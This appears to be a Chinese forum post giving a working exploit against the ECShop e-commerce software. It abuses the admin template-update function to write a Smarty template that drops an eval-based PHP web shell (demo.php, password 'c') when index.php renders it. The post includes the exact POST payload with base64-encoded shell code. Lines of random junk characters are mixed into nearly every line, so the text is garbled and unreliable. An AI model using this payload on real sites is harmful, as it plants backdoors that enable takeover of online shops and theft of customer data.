首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 \; Q y5 Z! I$ \3 V
" \$ E K5 L7 R. A而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
! |- s1 d9 M( k+ |但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
; h' l# t* ^+ T# k* A9 g2 Eadmin/template.php, p$ Y6 p3 Y0 P# u5 F
6 T* T& z) n ?5 ^1 if ($_REQUEST['act'] == 'update_library') , t( o+ ^; ^# H+ d/ c
' H/ [- j- Q) H+ m) M2 + L) b( Y( J! ?# e! u1 U" B
3 C9 p1 j. F# G) y* \. i, T7 K+ |3 { : I' o5 B5 m5 r; i9 q2 S
0 K# x" d. ?$ H0 s0 q1 Z9 ^
4 check_authz_json('library_manage');
! N I2 @$ N4 a. {8 [: ~1 {: s! u3 z
5
9 J3 y+ k2 i( K' n2 p/ r; g& S" V9 L6 L
6 $html = stripslashes(json_str_iconv($_POST['html']));
- I+ ?. f# t; _' y, d7 m0 w$ h
$ M, b7 c! O( s8 A( i& k; a6 f, m. I7
% g$ F% v# @! d
" D/ X8 _& S1 u0 J* r3 e8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 6 l! X- c, D0 `" ~$ g% t
8 e1 T; s. p8 `, j# J
9
0 I0 J( v- C2 T5 H% v5 q/ `
- c6 }/ w" ~% p' F' _10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 5 Q# x4 F) F( i7 k- q9 B4 u$ Q
# i# o0 P7 k1 o$ |' L- j& T( I( _6 K11 & ]6 _, G% ^/ y* s
6 O* I/ }! h2 l4 a* j, z. l12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ! @7 y7 J- j2 H( g& v: f
0 c, p; ~5 A" D
13
$ v# l/ }3 h4 {! O6 x6 O5 e( G5 K
2 a z6 F# T- G) P14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# x. U$ }2 A1 l
, t+ {; |- Y( m1 T/ G15 {
& r9 t9 ?; l' f+ |# R
/ e* ?' y/ \+ Y16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
! w3 }6 ^3 ?4 O) c- n
! p3 n' }# d K" Q% F0 y17 make_json_result('', $_LANG['update_lib_success']);
- f! ^2 K0 b' |7 `4 ?+ b1 c
1 ?+ a: Y& U. i m1 J18 } ( M$ C( k7 \$ O; Z4 w7 X6 |
1 g! k$ M" `* C0 C
19 else
. F: Z9 K: k: x+ [0 s% Q9 S; X- { P. C
20 { 2 C H# w3 m. I+ l
# Y. p6 n: j y1 U; n0 H
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 3 }2 W4 `+ J* Q! b6 I p5 s& v2 W4 W
, A3 C3 K+ d. }2 n6 ^+ ?4 `22 } , A; D* E6 I1 O4 X- x" f
1 z. e- {6 L" m- \% [
23 }
) {! p* @1 ~0 e. A$ x1 v+ g* [* @: x8 ^' x Z6 A
那么找个比较方便调用了模板的文件
' r' c }; t/ F. f/ H7 T" cindex.php& d0 s5 x& U. T& L. u* m
: a- ]7 p+ A; }, A; W4 a
1 if ($act == 'cat_rec')
5 I* h5 K, y5 e- c* q; h3 C0 C
" ]$ u" R$ k) ~: F( R, P2 ! W1 Y4 l: Q) Y
7 y: Y1 C3 x( i X* h+ g" Z3 E3 {
4 b2 z# D# _. Q1 F' `' x8 j5 [& ], h
4 ' ^# K2 C: \1 F8 ]- u# J% G
8 z$ p1 ]. p8 g: |5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' c% K# c" U& \ c: j, F+ x) d+ x4 e7 D* `2 d$ k1 m
6
: A& ~ \1 S5 ?. B0 w
4 v! y' Z' {+ z7 f7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 2 |0 x. k# {% N t0 ^4 e7 g
$ n4 I6 @( ~$ q$ p" M, p c0 u8 . `" x' @# A1 D
4 N% e7 o; b( W% y9 b8 l
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 P6 ]- ]8 X; y, `
9 o0 f9 }/ X6 i! n( g10 , G9 h9 V! Q5 Y: i2 G6 j
- _: {" ~7 g! }+ M% P
11 include_once('includes/cls_json.php'); 3 y7 \5 {% G( F
" @, K+ ?1 x% a* d0 a6 O, Q
12
( @8 k( b3 D# [/ w
- N' ~% _; u3 w* h3 k- r13 $json = new JSON;
; u* D) `+ H. q1 M$ X' g6 u K# z) O! [ {+ s2 }
14
3 N$ _# K, g$ c% l( l& c, ?( V* O% l
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); - d* J, U' h p2 L& J- {
' O5 ?7 ~% B, w: | C8 G16 - P1 s+ Q n2 A
1 ~* p; u, }) C$ L
17 $children = get_children($cat_id); 2 U4 N- R/ O r0 ~2 h# _* {$ c. j
6 B2 d" i" U" {7 z' ~) b2 F18 0 a9 p! L9 ]+ G9 h1 f
& L0 k( V) s# D5 t- w- d
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
0 D- ?* `6 t: d" t' {$ `$ g4 O1 \
: n2 ?4 J, `! u20
7 `. M5 u/ [5 w. |' W R( U4 G3 K& A2 N4 A1 g4 X" C
21 $smarty->assign('cat_rec_sign', 1); 9 L. I) p- _$ C6 d# Q( U
- ~/ }1 ^& D. Y! S1 n1 ~22 9 k. j' Z2 ^1 n( C
* W. P2 |- Z/ _( ^: t' ]! f23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 8 r% G0 g Z/ V1 c. e
" ]6 D( T) f) s1 O/ }6 p* a/ F24 : R8 T5 V: S( e( y
( z+ ~8 c M0 I) N
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; : r7 F% \0 e3 h" k! @
: ~8 V' |9 {" ]0 H0 X
26
# J4 k# T; S3 ~; p1 u2 D8 S5 y: t* q% b) b' z: D* w% T
27 echo $rec_array[$rec_type]; $ Q5 [7 t( U5 b0 W X' P
6 @+ }' S8 ? _$ Q4 |' a; p( g
28 * G9 ^9 I% L: m% Q
' P* j$ v! c3 P3 {8 Q
29 die($json->encode($result)); / {3 {/ A/ w4 C4 j
' }' |5 L8 {$ I3 o% Y! U$ x
30 8 h2 X% }: t$ J
4 O9 G) l( L# c5 W8 Q6 u" S2 Z
31 } 7 c' i3 F$ B5 R" H
7 E& [+ {: n$ X* r( z那么就有利用方法了. ~$ Y+ Q. U" ^0 H& u: e# ~6 g
post包到http://localhost/ec/admin/template.php?act=update_library
: W" ?2 z3 K" i; }$ I9 t3 VPost内容:% I4 ?9 c9 E$ z. P* I3 @! a
( i& q2 U( u# F( `1 L7 G7 I9 `
5 x0 L4 R: E4 K t' M
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ! t, y, O6 H/ f+ u$ U" S
8 ~1 Z- ^' O( t! Z然后访问http://localhost/ec/index.php?act=cat_rec
( ]6 K7 D, M( H- X3 O1 Z0 m0 C0 A# c, T+ M0 @ p1 d9 k
shel地址:http://localhost/ec/demo.php" S7 f6 ]2 }. `7 D! i8 W1 J+ x
密码c
7 I3 F# t9 o1 I
/ ?6 l: [" @1 K |